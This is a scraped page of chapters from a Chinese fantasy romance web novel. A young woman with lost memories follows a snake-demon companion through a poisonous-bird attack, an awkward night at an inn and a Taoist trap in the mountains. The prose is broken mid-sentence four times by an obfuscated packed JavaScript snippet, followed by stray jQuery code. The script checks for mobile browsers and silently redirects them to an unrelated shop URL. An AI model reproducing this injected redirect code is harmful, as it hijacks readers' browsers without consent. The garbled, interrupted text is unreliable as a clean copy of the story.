“以前的事情我都不记得了,我只记得你隐瞒了我你的身份。从我发现你是妖的那一刻,你在我的心里就彻底失去了信任。”池未停顿片刻,迎上萧衍仪的目光,“所以萧姑娘,过去的事就让它过去吧。从此你我桥归桥,路归路,只当是萍水相逢一场,好不好?”
“可我不想和你做萍水相逢的朋友。”
几缕月光穿过茂密的叶隙,恰好落在萧衍仪的脸上。听了池未的话,她眼中的光肉眼可见地黯了下去。
人心终究是肉长的。
“对不起……谢谢你的鸡腿。你明早还是尽快离开吧,不为你自己也为你的妹妹着想。”池未怕自己再多看一眼便会心软,起身拍了拍衣摆,朝着破庙那团隐约喧嚣的火光,一步一步走了回去。
她实在想不明白萧衍仪对她到底有何所图。
就算是小偷再觊觎一个富人,也不至于富人都躲到衙门里了,都死不放手吧。
想到这里池未忍不住转身瞥了一眼身后的萧衍仪,对方静静站在原地,眼底满是不舍和偏执。
回过头来,池未摸了摸自己的脸。
难不成真的看上她了?
又或者两人以前真有点啥?
就算再有点啥,那都也是过去了。
路过篝火时,小檀已经把半只鸡啃得只剩骨架。满脸都是油光的朝她笑着。
池未心中暗忖,莫不是妖的胃口都大些?那五两银子够不够这两人回家的啊?
她在小檀身前站定,手在自己的怀里摸着钱袋子,一会儿往外拿了半寸,一会儿又往里塞了一寸。
最终,在萧衍仪快要走进门时。
她心一横,从钱袋子里拿出五两银子,将剩余的十四两九百七十文塞到小檀怀里,大步往角落的干草堆走去。
这回总算够了吧?
这俩妖爱吃肉花销大,她可以忍忍多吃点素包子,等她到了城里找到份伙计不怕养活不起自己。
没理会辛戎调侃的笑,池未躺到干草堆上闭上眼睛,累了一天的她本以为自己会很快入睡,却不
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17116995|195928||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
曾想竟失眠了,翻来覆去的睡不着。
只要一闭上眼睛,她满脑子便都是萧衍仪的音容。
“你可知女子清誉有多要紧?”
“若今日这些不是道士,而是街坊邻居,单凭那些闲话,便足以用唾沫将我淹死。”
下午时,她已经从那些多嘴的道士里知道怎么一回事。但想着借此气走萧衍仪,到底还是没有替萧衍仪澄清。
翻来覆去压得杂草发出“沙沙”的声音,烦得辛戎轻轻踢了她一脚,池未这才安分地不动了。
只是她一睁眼,对面一丈远的位置睡的又是萧衍仪。
萧衍仪侧卧在干草铺上,手臂枕在颊下,洁净的纱袖滑落至小臂,露出一截细腻如玉的肌肤。
即便是在这破庙中风餐露宿,她依然静卧如栖于华榻,周身笼着一层与这颓败格格不入的皎洁与贵气,仿佛天生就该躺在紫檀木床帷之间。
池未望着那身影,心中蓦地涌起一阵难以言说的自卑。
或许萧衍仪就算是妖,也是妖中贵族吧?也不知妖里面有没有这样的阶级之分。
再看她旁边的小檀,整个人睡得乱七八糟,脚都快塞到一个道士的嘴里去了。
池未心道小檀估计真是捡回来的吧。和萧衍仪一点也不像。
她静静地看了会儿,一直到萧衍仪眼皮微颤似乎察觉到她的目光,她才立马闭眼翻身躺平,假装熟睡中翻了个身。
至于后来怎么睡着的,池未也不记得了。
只记得自己是被一声刺耳的鸣叫声吵醒的。
她声音似狼,睁眼的瞬间她便下意识先往萧衍仪和小檀的方向看去。
未看到两人身影的她,心脏猛地一顿,正要出声寻找,自己的手腕忽然一紧,原本找寻的一大一小竟不知何时早就守在她的身边,双双拉着她的手腕。
小檀一脸紧张地看着门口,而萧衍仪则是一如之前平静。
池未蓦地心头一软,再开口时,声音也不如之前冷硬了。
“发生什么了?”
萧衍仪这才看向她:“是鸩,有剧毒,小心。”
就在萧衍仪刚刚说完这句话,破庙门口突然俯冲进来一只半人大紫绿色羽毛的雕进来。
萧衍仪拉着池未后退,严阵以待的几位道士纷纷拔剑上前迎了上去。
几个回合下来,那被萧衍仪名为鸩的雕终于不敌,被乱剑砍死。
众人才松了一口气。
“注意此妖有毒,莫要碰到它们的羽毛和鲜血。”辛戎才说完这句话。
破庙外陡然响起密集刺耳的鸟鸣,窗板、门扉、屋顶同时传来破碎之声!
数不清的鸩鸟自四面八方撞破门窗,如潮水般涌入。就在道士们仓促结阵抵挡之际,一只鸩猛地撞碎池未身侧的破窗,利爪如钩,直向她咽喉抓去!
不等池未反应过来,已被萧衍仪用力推开,她只听到一道衣衫破裂声,便被小檀拽到了供台底下。
“等等,萧衍仪还在外面。”
池未想往外冲去将萧衍仪拉进来,可小檀却死死地拽住她不放,她竟不知一个小姑娘力气如此之大,跟个钳子似的无论怎么用力都无法挣脱小檀的手。
“那东西毒性大得很,稍微沾到就是个死,先别管她了!”
15. 第 15 章
池未瞪大双眼:“沾到就死,你还能说出不管她了这种话?”
小檀无语凝噎,偏偏又不能说出那鸩未必有萧衍仪毒的话,只能闭嘴紧紧抓着池未不松手,说什么也不肯让这傻子冲出去送死。
好在没过多久,外面便平息了。
在听到辛戎说“清点一下受伤人数”之后,小檀松开了手。
池未掀开满是灰尘褪了色的桌布。先映入眼帘的,是一角染了尘的白裙下摆,接着,便是一柄斜指地面的长剑。
剑身泛着幽冷的寒光,锋刃上,浓稠的鲜血正一滴、一滴往下坠落,砸在地上,发出“嗞”的轻响,腾起几缕刺鼻的白烟。
她的目光顺着那淋漓的血线向上移。握剑的手,骨节匀亭,指节修长分明,指甲细长而干净,只看手便知是个美人。
“萧衍仪!”无需细看,池未已认出了她。她急急上前,一把攥住对方的手腕,这才发现小臂外侧被划开了一道口子。伤口处,正涌出汩汩的血液。
略一愣神,池未立马从身上撕下一块布条包扎上去,将赤金色挡住。
“不碍事。”萧衍仪静静望着她。
池未包扎的动作微微一顿。她环顾四周,遍地都是鸩鸟的尸体,唯独自己藏身的这一方桌下,干干净净,寸血未染。
萧衍仪持剑守在这里,难不成……是为了护住她?
“想不到萧姑娘剑术如此了得,倒是让辛某未曾料到。”辛戎从一旁走了过来,再看向萧衍仪时,她的眼神多了丝疑虑。
池未横迈一步,挡在萧衍仪受伤的半个身子:“辛道长,这妖是怎么回事?”
辛戎皱着眉头:“估计是见我们人多,想拿我们做宵夜吧。是我大意了,以为马上可以出山,只派了一个人守着,没成想她睡着了。唉……”
她垂着头有些懊恼,不远处传来一道声音,似乎是有师妹受伤了。
辛戎一走,池未也松了口气,刚刚包扎得太过匆忙,不知道有没有露出破绽。
她一副如释重负的样子,看的萧衍仪嘴角似笑非笑:“你在关心我。”
池未闻言转身,眉心微蹙,正要对上萧衍仪的眼睛辩驳:“我才没……”
话音未落,萧衍仪忽地眼睫一颤,整个人像被抽去了筋骨般,软软朝她倒来。
“萧衍仪!”
池未心头一紧,慌忙抢上前将人接住。萧衍仪的身子沉甸甸跌进她怀里,温热的呼吸拂过颈侧。
一想到那鸩的身上有剧毒,沾上必死,池未瞬间感觉脊背冒出一层冷汗,紧忙抱着萧衍仪到柱子后面。
就在她抱着萧衍仪费力地重新包扎时,小檀不知何时也从那底下钻了出来,她站在池未身边,拍打着衣裙上蹭的灰土,静静看着池未的动作。那眼神里透出的,是十二分的不解,以及一种“没眼看”的无奈。
“……还可以这么玩啊?”她小声嘟囔了一句。
池未抬起头,额上还带着细汗:“你说什么?”
小檀张了张嘴,似乎想说什么。就在这时,池未怀里的人忽然动了一下。池未立刻顾不上小檀,连忙低头看去。
萧衍仪羽睫微颤,缓缓睁开了眼睛,径直掠过池未,落在了小檀身上。
“渴。”她声音清冷,池未竟听不出不适来。
小檀撇撇嘴,翻了个不怎么明显的白眼:“知道了知道了,这就去,不打扰你们俩的好事了。”她拖长了语调,转身就往外走,去找水了。
小檀一走,池未感觉怀里一沉,萧衍仪重靠回她的怀里,语气也弱了几分。
“好累,好冷,我能靠在你怀里睡一会儿吗?”
累?
冷?
别真是中毒不治了!
池未一手解开小檀随身背着的包袱,从中掏出一件外衫盖在萧衍仪的身上,紧了紧手臂,眼神变得有些复杂。
“我……我会尽量帮你照顾好小檀的。”
萧衍仪:“嗯?”
以为对方是对尽量这个词感到不满,池未立马改口道:“我会尽全力的,你……你就放心的去吧。”她说到最后声音有些低,让萧衍仪听不清是去吧还是睡吧。
听着很不对劲,但又说不上哪里不对劲。不过目的达到了就好,她靠回池未怀里,感觉到池未抱她更紧,比干草垫要温暖的多,疲惫感上来睡去那刻,她心底还想着池未果然还是心太软。
池未靠在墙边听着殿里的低低抽泣声,心里有些不是滋味。白天才见过面打过招呼的人,这么快就天人永隔了。
辛戎的一个师妹在刚刚的乱战中受了伤,肩膀被鸩的羽毛划破了块皮,可众人却拿这毒一点办法都没有。不出一盏茶的时间那人便全身发黑变僵了。
怀里人呼吸渐渐均匀,池未悠悠叹起了气。
果真是世事无常。
也不知道萧衍仪这个妖能坚持多久。
小檀回来时,见萧衍仪已经睡着,把水壶一扔,就寻了个地睡觉去了。
池未内心感叹,孩子小就是不懂事,你同伴都快要没了,还能睡得那么没心没肺。
翌日,队伍朝城里出发时。
萧衍仪依旧神色恹恹,浑身没了力气一样倚在池未的怀里。
池未只好把萧衍仪扶到她的驴上,自己走在前面牵着绳,不时朝身后看上一眼。每次萧衍仪都会对她施以一个浅浅的笑,这让池未心里更难受了。
估计是妖的体质与人不同吧,都已经这么难受,还在强颜坚持。
途中,她不是没试过去找辛戎问过中了那毒是不是还有救。
辛戎听罢,只是沉默地摇了摇头。她看向池未的眼神里带着一丝复杂的黯然,最终什么也没说,转身便离开了。
萧衍仪被鸩伤了没死,池未也不敢乱说她中毒的事,害怕惹出她们的怀疑,反而对这对母女更加不好。
一直到中午,才赶到城中的一处客栈中。
池未栓好驴,扶着萧衍仪走至门口,辛戎的师姐妹已经在大堂里围了一圈,满满当当什么也看不见,她不敢多停留,生怕萧衍仪的身份被发现,匆匆进了客房。
关好房门,池未转过身:“辛戎她师尊在这,你确定你们两个的妖气不会漏出去吗?”池未说着还嗅了嗅鼻子。
什么也没闻到。
萧衍仪坐在床上,不解地看着她:“你在闻什么?”
“就妖气什么的啊……”
萧衍仪闻言无奈地闭上眼睛:“不会的,不用担心这个。”
池未心底里默认萧衍仪是打不过辛戎师尊的。
将母女俩安顿妥当后,池未又出门给萧衍仪买了些清淡的吃食带回客栈。途经大堂时,她瞧见辛戎正陪侍在一位气质不凡的道长身侧,便上前打了个照面。
经辛戎引见,池未得知这位便是她的师尊,道号“青觉”。池未依礼问候,青觉道长目光平和,朝她微微颔首,并未多言。池未心知自己不过一介凡人,不便打扰,便识趣地退至一旁。
这位青觉道长,面容瞧上去不过三十许人,姿容清雅。然而,一头长发却白了大半,与她姣好的面容形成了某种令人难以移目的对比。
两人还在交谈,池未拎着吃食悄悄退到一旁,躲在柱子后面。
辛戎声音低落地和青觉道长说着山里鸩突袭导致一名弟子中度不治的事,青觉道长沉默片刻轻轻拍了拍辛戎的肩膀。
“修道一途,本就多舛。”道长的声音温和却有力,“你师妹是为护佑苍生而殉道,死得其所。”
辛戎背过身去,袖口快速拂过眼角,声音愈发低哑:“可……可我连那蛇妖的半点踪迹都未能寻到,实在有负师命……”
青觉的声音平稳下来,透着一丝成竹在胸的冷冽:“此事不怪
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17116996|195928||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
你。为师已查到她的行踪。烟霞关,是通往南境的唯一咽喉要道。我已派你几位师姐沿途搜查追赶,布下天罗地网。那妖物必定会经过此处。届时你……”
听到这里,转角处露出一角道袍的青色,池未心头一紧,不敢再多停留,拎着东西快步上了楼。
将买来的吃食在桌上放好,小檀先围了上来,探头一看,尽是些白粥、青菜、素包子之类的清淡玩意儿,顿时没了兴致,撇着嘴绕到窗边去了。
“吃些东西吧。”池未拿起一碗粥,走到床边。
萧衍仪点点头,试图撑起身子,可才刚坐起一半,便像脱力般软软靠了回去,额角渗出细密的冷汗。
池未心头猛地一跳!
床幔遮挡了视线,她以为萧衍仪情况突然恶化,慌忙放下粥碗,几步抢到床边查看。
见对方只是虚弱无力,并无其他异状,她才松了口气,再不敢让她乱动。“你别动了,我来喂你。”毕竟之前她身体不适,也被萧衍仪照顾了很久。
她端起粥碗,在床边坐下,舀起一勺,轻轻吹凉,又送入萧衍仪口中。
小檀在一旁忍不住翻了个白眼,实在看不下去,丢下一句:“我再去开间房。”便拉开门,身影一闪就不见了。
池未心想也好,小丫头自己住一间也方便。她总不能和萧衍仪同住一室的。
不合适。
却万万没想到,小檀新开的那间房,并不是给她自己准备的。
池未站在楼下柜台前,正犹豫着要不要花五文钱去挤那男男女女混住的大通铺,身后忽然传来脚步声。
萧衍仪不知何时下了楼,正倚在楼梯旁望着她。烛光映着她苍白的脸,声音却带着点慵懒的沙哑:“就和我将就一晚吧。又不是没一起睡过。”
她顿了顿,眼尾微微弯起,补了一句:“放心,我不会对你做什么的。”
这话一出,原本还有些嘈杂的大堂骤然一静。几道目光或明或暗地扫了过来。
池未的脸“轰”地一下烧透了,红得几乎能滴出血。她恨不得找个地缝钻进去,一把拉住萧衍仪的手腕,低着头,几乎是逃也似的匆匆拽着她上了楼。
“砰”地关上门,池未才松开手,胸口还在急促起伏。她瞪着萧衍仪,又羞又气,脸颊的绯红一路蔓延到耳根:“你胡说什么!之前是之前,现在是现在,那能一样吗?”
萧衍仪不答,只是缓步朝她走近:“可你装瞎的那个晚上,不是也看得挺开心的么?”
池未脑子里“嗡”的一声,所有斥责的话瞬间堵在喉咙口,连脖颈都红了:“原来你都知道!”
萧衍仪依旧不语,只是继续逼近。池未这才注意到,她裸露在外的颈侧、手腕,皮肤都泛着一层不正常的薄红。
那双总是清冷的眸子,此刻蒙着一层潋滟的水光,眼神黏稠得让人心慌意乱。
她双手抓住萧衍仪的胳膊,尽量将她控制在一臂距离之外。
“你怎么了?眼神怎么这么奇怪?身上也好烫……不会是毒要发作,要不行了吧?”
“不行了?”萧衍仪皱着眉头理解着她口中“不行了”是什么意思。
恍然醒悟,原来池未今日待她这般反常的好,原来是觉得她命不久矣。
一股说不清是恼火还是别的什么情绪猛地窜上心头,她还从来没被人这么“体贴”地气到过。萧衍仪不再废话,直接伸手扣住池未的手腕,用力一拉。
天旋地转。
等池未反应过来,已经被拽着倒在了床上,萧衍仪俯身撑在她上方,气息灼热地拂过她的脸颊。
“受伤,法力不稳,”萧衍仪盯着她骤然睁大的眼睛,一字一句,说得清晰又缓慢,“压制不住发情期了。”
她低下头,鼻尖几乎碰到池未的鼻梁,声音哑得不像话:“你若是真这么心善……不如今夜,帮帮我。”
16. 第 16 章
“你刚刚还在外面说不会对我做什么的!”池未双臂横在胸前,瞳孔骤然扩大。
“不对你做什么,是你想不想对我做什么。”
对于发情期这个事,萧衍仪一向很抗拒自己的兽性,上次在池未熟睡时在她小腹留下了一滩水渍的事,因为太过羞耻她一直不敢回忆。
可现在的她,本想利用池未的同情心假意不敌鸩被毒伤,却不曾想那鸩的毒性有些超乎她的意料,虽不致命,却消耗了许多她的法力,有些压制不住自己的情欲了。
池未沉默了。
看着萧衍仪这张脸,她确实说不出拒绝帮她纾解情欲的话。
旁人身上落得这样的事,只会觉得天上掉了大大的馅饼,直接被砸得幸福的晕过去。
池未也不例外……
萧衍仪是蛇妖,动物都会有发/情交/配的时候,不像人随时随地都可以发/情,这个池未是懂的。
发自内心的,她说不出拒绝的话,又被道德感拉扯着,无法真的帮萧衍仪纾解。
她咬紧下唇,躺在她身下,欲望与理智像是两股相反的力,几乎要将她撕扯成碎片。她甚至希望自己能就这样晕过去,不必面对此刻的煎熬。
池未声音微颤:“如果我不帮你,你会怎么样?”若是后果太过严重,她或许……也不是不能妥协。
萧衍仪涣散的目光定住:“会很痛苦。”顿了顿,池未还不是拿不定主意,萧衍仪气上心头,恼怒地补了一句狠话,“你不愿意我也可以去找别人。”
别人?原来这种事是谁都可以帮忙的吗?
池未又犹豫了。
她迟疑了这么久,萧衍仪终是无法忍耐自己都这么主动,池未依旧不为所动,起身离开。
满怀清香消失,池未恍惚着坐起身,知道对方这是不需要她了。莫名地,她心里蔓上一丝懊恼的情绪,随着清香越来越淡,那情绪蔓延地就越来越大。
“滚出去。”
池未站起身,脚步未动。
“那你呢?还好吗?”
“滚!”暴露自己弱点请求池未帮忙这件事本就已经够羞耻的了,她可不想再听池未无畏地关心。
对方下了逐客令,池未再没留下来的理由。
她走出房门,最后关上门时,萧衍仪站在窗边背对着她,窗外的冷风往里灌,吹得池未都觉得有些发冷。
转过身,她狠狠抽了自己右脸一巴掌。
“下流!”
走出两步又懊恼地抽了自己左脸一巴掌。
“无耻!”
不敢想她刚刚竟然真的因为一时欲望差点做出趁人之危的事。
可迈出第三步时,想起刚刚萧衍仪在房间里说出找别人帮忙的话,她脚步一顿,接着又快速跑到门口敲门:“我去给你打些井水和冰块来。”
“这么晚了,恐怕也不好找人帮忙。这种事总得挑一挑人,而且白天我看了,这附近都是些歪瓜裂枣……”
“滚啊!”萧衍仪愤怒的声音隔着门传出,池未赶忙闭嘴不再多说,“咚咚咚”地迈步跑下楼了。
不多时,她叫着人抬了井水和冰块上来,送到屋子里。
过程中,萧衍仪一直都没有转身。
一直好脾气的萧衍仪生起气来,没想到也会这么吓人。
不过,人还在屋里就是好的。
不敢多说废话,匆匆放下,她便催促着抬冰块的人赶紧出门。
就是这么一来,今晚上住的地方没有了,买冰块把她身上的四两多的银子也全都花光了,原本可以温香暖玉睡在舒服的床上,现如今只能守在萧衍仪的房间外面凑活一夜了。
不为别的,她得保护好萧衍仪,现在可是对方极为脆弱的时候,不能让别人趁人之危。
萧衍仪一直没有过来锁门,池未面向着房间,背靠二楼的木栏杆上缓缓屈腿坐下,她的目光一直盯着房门。
不时重重给自己一巴掌,不时又目光迷离似乎是在幻想着另一种可能性,然后再给自己一巴掌。
直到房间内的灯熄灭,池未才浑身松懈头一垂睡了过去。
她是被客栈的老板娘喊醒的,老板娘是个约莫二十七八岁的女子。她见池未坐在走廊里睡了一晚,还以为她是被自己的夫人赶出来的。
这一夜睡得实在难受,一觉醒来全身上下都酸痛的要命。
池未揉着自己发僵的脖子起身,正准备问问萧衍仪怎么样了,却见房门大敞,再进去,房中早已空无一人。
她急忙找到老板娘询问,竟得知萧衍仪一早便带着小檀离开了。
池未站在柜台前双目瞪大:“离开了?朝哪个方向去了?”萧衍仪身体虚弱、皮肤泛红,昨晚的事对方一整天都没事,她已经猜到对方中了毒不会死,一切都是她自己多想了。
老板娘指了一下南边的方向,继续低头扒拉着算盘:“南下了吧,具体也没说。”
就在池未愣神中,辛戎一众师姐也过来跟她告别了。
“池姑娘,有缘再见。日后要是去了南边灵宝观,可以去观里找我,到时候请你吃饭。”
池未
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17116997|195928||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
:“灵宝观?辛道长,那个害死一村人的蛇妖你们不除了吗?”
辛戎手掌伸直附在嘴边,低声笑道:“实不相瞒,我师尊查到那蛇妖今夜会路过烟霞关,如今正是为了过去早早候着,打蛇妖一个措手不及。”
“啊?这么突然?”
辛戎拍拍池未肩膀,敛了笑意郑重道:“没错,记得今晚在家……客栈里老实呆着,千万到处乱跑。估计到时候会有一场恶战。”
池未微微点头,目送着辛戎和一众师姐妹离开。这些人身上全都佩着剑,士气比从山里出来时要强许多。
也不知道萧衍仪会不会撞上她们,听辛戎的说法,怕是已有不少师姐妹在那烟霞关候着了。
“咚咚咚”
客栈老板娘敲响桌子,池未回过神来疑惑地看着她。老板娘从柜台下掏了钱袋子出来扔在桌上,里面发出铜板撞击的“刷刷”声。
“差点忘了,你夫人给你留了个钱袋子,说是过些时日回来找你,希望你到时候还能在这等着她。”
这都能忘?怕不是刚刚辛戎那些人不来,根本就不想给她来着吧?
池未拿起钱袋走远,一打开,发现零零散散躺着她给小檀的银子。她数了数,除了小檀自己昨夜又开了间房的钱,分文不差。
钱袋在掌心里沉甸甸的,这让池未更加觉得奇怪的,这二人要离开一阵子,怎么连钱都不留下些?
她们这一路,该如何吃饭,又在何处落脚?
收好钱袋,她踱步到客栈外。抬眼看向南边的方向,是澄澈无垠的碧空,万里无云,微风徐徐拂面,本该是个让人舒展心怀的晴好日子。
可她的心里怎么好像在下雨一样。
萧衍仪那日在破庙里救了她,也携手那些道长斩杀了好些鸩,她真是那个害了一村子人的妖吗?
如若不是,那她今日也朝南边去了,万一误入烟霞关辛戎道长她们给那蛇妖设的圈套了,那该怎么办?
池未在客栈门口怔怔站了许久。她本打算今日去城中寻个活计,暂且安顿下来,再慢慢思量如何找回记忆。
可她脑子乱乱的,完全无暇去想找回记忆和安定的事。
一炷香后,她望着二十里外烟霞关的眼神逐渐笃定。而后加快步伐走进棚子牵出自己的青驴,翻身上去朝着烟霞关的方向离开。
不论如何,她到底还是不想萧衍仪就这么被抓。对方是不是那个屠村的蛇妖,她一直没问过,却理所当然的以为那害人的妖就是萧衍仪。
更别说,她还欠萧衍仪一句道歉。
17. 第 17 章
池未骑着青驴从清晨走到正午。出发时还是晴空万里,转眼却阴云密布。待她赶到烟霞关下时,浓墨般的乌云已遮天蔽日,骤雨倾盆落下。
她心中焦急,连连拍打驴臀,催它快行。
可驴子已在烈日下走了一上午,此刻来到山脚绿茵处,任她如何催促,也只是埋头吃草,再也不肯挪动半分。
烟霞关下来往行人不断,池未张望许久,却始终不见辛戎道长一行人的踪影。
她匆匆寻到路边一处茶摊打听。摊主说,不久前确有一队道士模样的人骑马经过,已往山中去了。池未又问萧衍仪与小檀的下落,对方起初茫然,待她描述“一位白衣女子领着杏黄衣衫的稚童,长相出众……”,那人才恍然点头,也指向山中方向:
“也进山去了。这山里瘴气重、毒物多,不知她们进去做什么……”
话音未落,池未已松了手中缰绳,转身奔向雨雾迷蒙的紫竹山。
紫竹山如其名,满山遍野都是郁郁葱葱的紫竹。
就在池未前脚入山后不久,山中一处隐蔽山坳中,汇集了数十名身穿道袍的道士。
青觉道长立于众人中央,她手里捏了张符箓,闭目凝神。忽然睁开双眼,口中念起晦涩难懂的咒语,手一扬,符箓燃烧化作一道火鸟冲天而起。
那火鸟在半空中盘旋几圈一分为四,分别朝着东南西北四个方向飞去消失无踪。
所有道士纷纷喜上眉梢,偏辛戎眉头紧皱若有所思:“如此一来,岂不是这紫竹山上所有生灵岂不都要遭殃了?”
辛戎身边一个眉清目秀的小道士杨梦棠闻言忍不住补上一句:“非也!是所有的妖物都只有死路一条了。”她瞥了一眼青觉道长的方向,见没有其她师姐妹注意,悄悄道:“辛师姐,不该说的话还是不要乱说的好。”
辛戎一愣,终是点点头:“知道了。”
就在火鸟飞出去一盏茶的时间,山林里突然响起一声震天响的虎啸,紧接着原本正躲雨的群鸟惊起,乌压压一片朝着紫竹山外飞去。
紫竹山山峰上,萧衍仪的视线从远处群鸟的身上收回,落在怀里一个雪白毛茸茸的一团上。
“这青觉道人果然用的是青莲妙法箓,其心何其狠毒。”
怀里的狐狸仰头贴了贴她的脸颊:“只为找到一个恶妖,便要让所有无辜潜心修炼的妖失去灵智性情暴戾,不说对它们的修行有害,若是山里的猎人、采药人遇到,哪还有活路。只希望这场雨下起来,该出山的都出山了。”
“知道你要说什么,先去把她的阵破了再说吧。”萧衍仪轻轻拍了拍狐狸脑袋。
“不过你怎么突然决定放过池未了啊?”
“不该问的别多问。”
萧衍仪昨夜没有用池未给她准备的冷水,而是在窗前吹着夜风使自己保持清醒。她发觉只要不在池未身边,便不会受到太多情欲上的影响,所以决定等自己平复下来之后,再回去找池未。
殊不知池未担心她的安危,已经追进了紫竹山内。
她才进山没多久,便听到一声虎啸,紧接着群鸟惊飞,林中百兽纷纷暴动朝着山下逃窜。
开始时还是些兔子、松鼠之类的小动物,越往山里走遇见的动物体型越大。
直到池未遇见一头一人多高的黑熊朝着她的方向奔来,瞬间寒毛乍起,吓得她拔腿就跑。
山林里的枯枝烂叶被雨水浇得松软湿滑,慌不择路的池未深一脚浅一脚地踩在泥泞里,好几次滑倒在地又爬起来拼命奔跑。
可身后的黑熊像是发了疯似的紧追不舍,那黑熊体型硕大粗壮,爪子锋利有力,奔跑速度一点也不比池未慢。
要不是池未反应灵敏,一直往紫竹密集的地方逃跑,能够起到阻挡的作用,估计早就已经命丧熊口。
但即便如此,池未还是渐渐体力不支,她觉得自己的肺里面好像有个火炉一样,不停地灼烧着她。
腿越来越沉重,每一步都好像有千斤重,就在她最后一次跌倒后,池未再也没有力气爬起来了。
她几乎整个人趴在泥水里,半边身体都湿透了,身后的黑熊脚步踩在泥水里的声音越来越近,每一步都踩在她紧绷的神经上。
就在池未觉得今天要命丧熊口时,忽然前方不远处传来一道熟悉的声音。
“你怎么在这?”
苦寻一整日的萧衍仪,竟就立在数步之外。她肩头还蹲了只白毛小狐,正歪着头,乌溜溜的眼珠望过来。
萧衍仪只淡淡朝那黑熊瞥去一眼。
巨熊喉中发出一声低低呜咽,竟就此绕过二人,头也不回地向她身后林深处奔去了。
池未喘息未定,一时说不出话,只勉力撑起身,朝萧衍仪的方向踉跄走近几步。
到了跟前,却终究脱了力,身子一软,直直跪倒下去。
“哈啊……哈啊……”
她急促喘着气,断断续续挤出话来:“我、我想告诉你……别来烟霞关……那些道士,要在这儿捉一只害人的蛇妖……”
抬手胡乱抹去脸上泥污,她仰起脸,望向萧衍仪:
“那……那害人的蛇妖……应、应不是你吧?”
“当然不是了!”
萧衍仪正要俯身扶她,却见池未听见“不是”二字后,肩头倏地一松,整个人仿佛被抽去了骨头,软软朝前倒来。
怕她再摔进泥里,萧衍仪迈前半步,伸手接住。
池未的额头轻轻抵在她腰间,带着如释重负的轻颤:“不是就好……不是就好……”
萧衍仪无奈,袖摆轻拂,施法拂去她满身污浊。
一只手轻轻落在池未脑后,顺着她散乱的发丝,一下一下,缓缓抚过。
过了好一会儿,池未的呼吸才渐渐平复,双手扶着萧衍仪的腿站起,找了块石头坐下。
看着自己原本脏得不成样子,满是泥点的衣服,在萧衍仪手一挥之下,重新变得跟洗过的一样。池未心底
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17116998|195928||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
更觉自己和萧衍仪好像不是一个世界的人。
“对不起,我之前不该在那些道士里面说会让她们会误解的话。我只是觉得你一直跟着我,想气走你。”
如今再瞧萧衍仪伸手便能化去她一身脏泥,挥挥手指便能斩杀一个半艘船大的海妖,一个眼神便能让追着她慢山炮的黑熊离开。
池未狼狈不堪的样子和对方优雅的姿态稍作对比,她自己也觉得萧衍仪根本对她就没有什么可图谋的。
就算是有所图谋,也不至于事事让着她,跟着她,直接打晕带走岂不痛快。
萧衍仪闻言,嘴角微微翘起,泄出一丝极淡的笑意。她缓步走到池未身边,顺手轻轻拍了一下那只正蹭着池未腿边的小狐狸的屁股,将它赶开。
“怎么就突然想明白了?”
池未的双手搭在膝盖上,无意识地绞着手指,低声说道:“你法力高强、长相漂亮,我实在想不到你一直跟我是图我什么。开始我以为你是想吸我精气,但后来想想吸谁不是吸。”
她抬头看了一眼萧衍仪,声音更低,“再加上昨晚……我想不到你对我有坏心的话,又怎么会选我帮忙。”说到最后,她滚烫的脸埋到掌心,深深低下头。
经之前自己口无遮拦一事,就已经看出萧衍仪对于自己的名节看的很重,这样的人,又怎么会随意找人帮她纾解。如此一来,池未不禁想:难道她以前和萧衍仪真是一对?
“你倒是不算太过蠢笨,不过我确实对你有所图。”
池未张开手指,从缝隙中露出自己疑惑的眼睛。
萧衍仪轻轻拉过池未的手,放在自己腿上,眼看池未整个人从指尖到脖颈越来越红,她俯身贴在池未耳旁,声音撩人:“当然是图你这个人了。”
这一声说完,池未感觉自己脑中一片空白,整个人像是煮熟了一样,心也“砰砰”跳个不停,甚至比刚刚逃命时跳得还厉害,还让她窒息。
她僵在那,一时忘记推开对方。
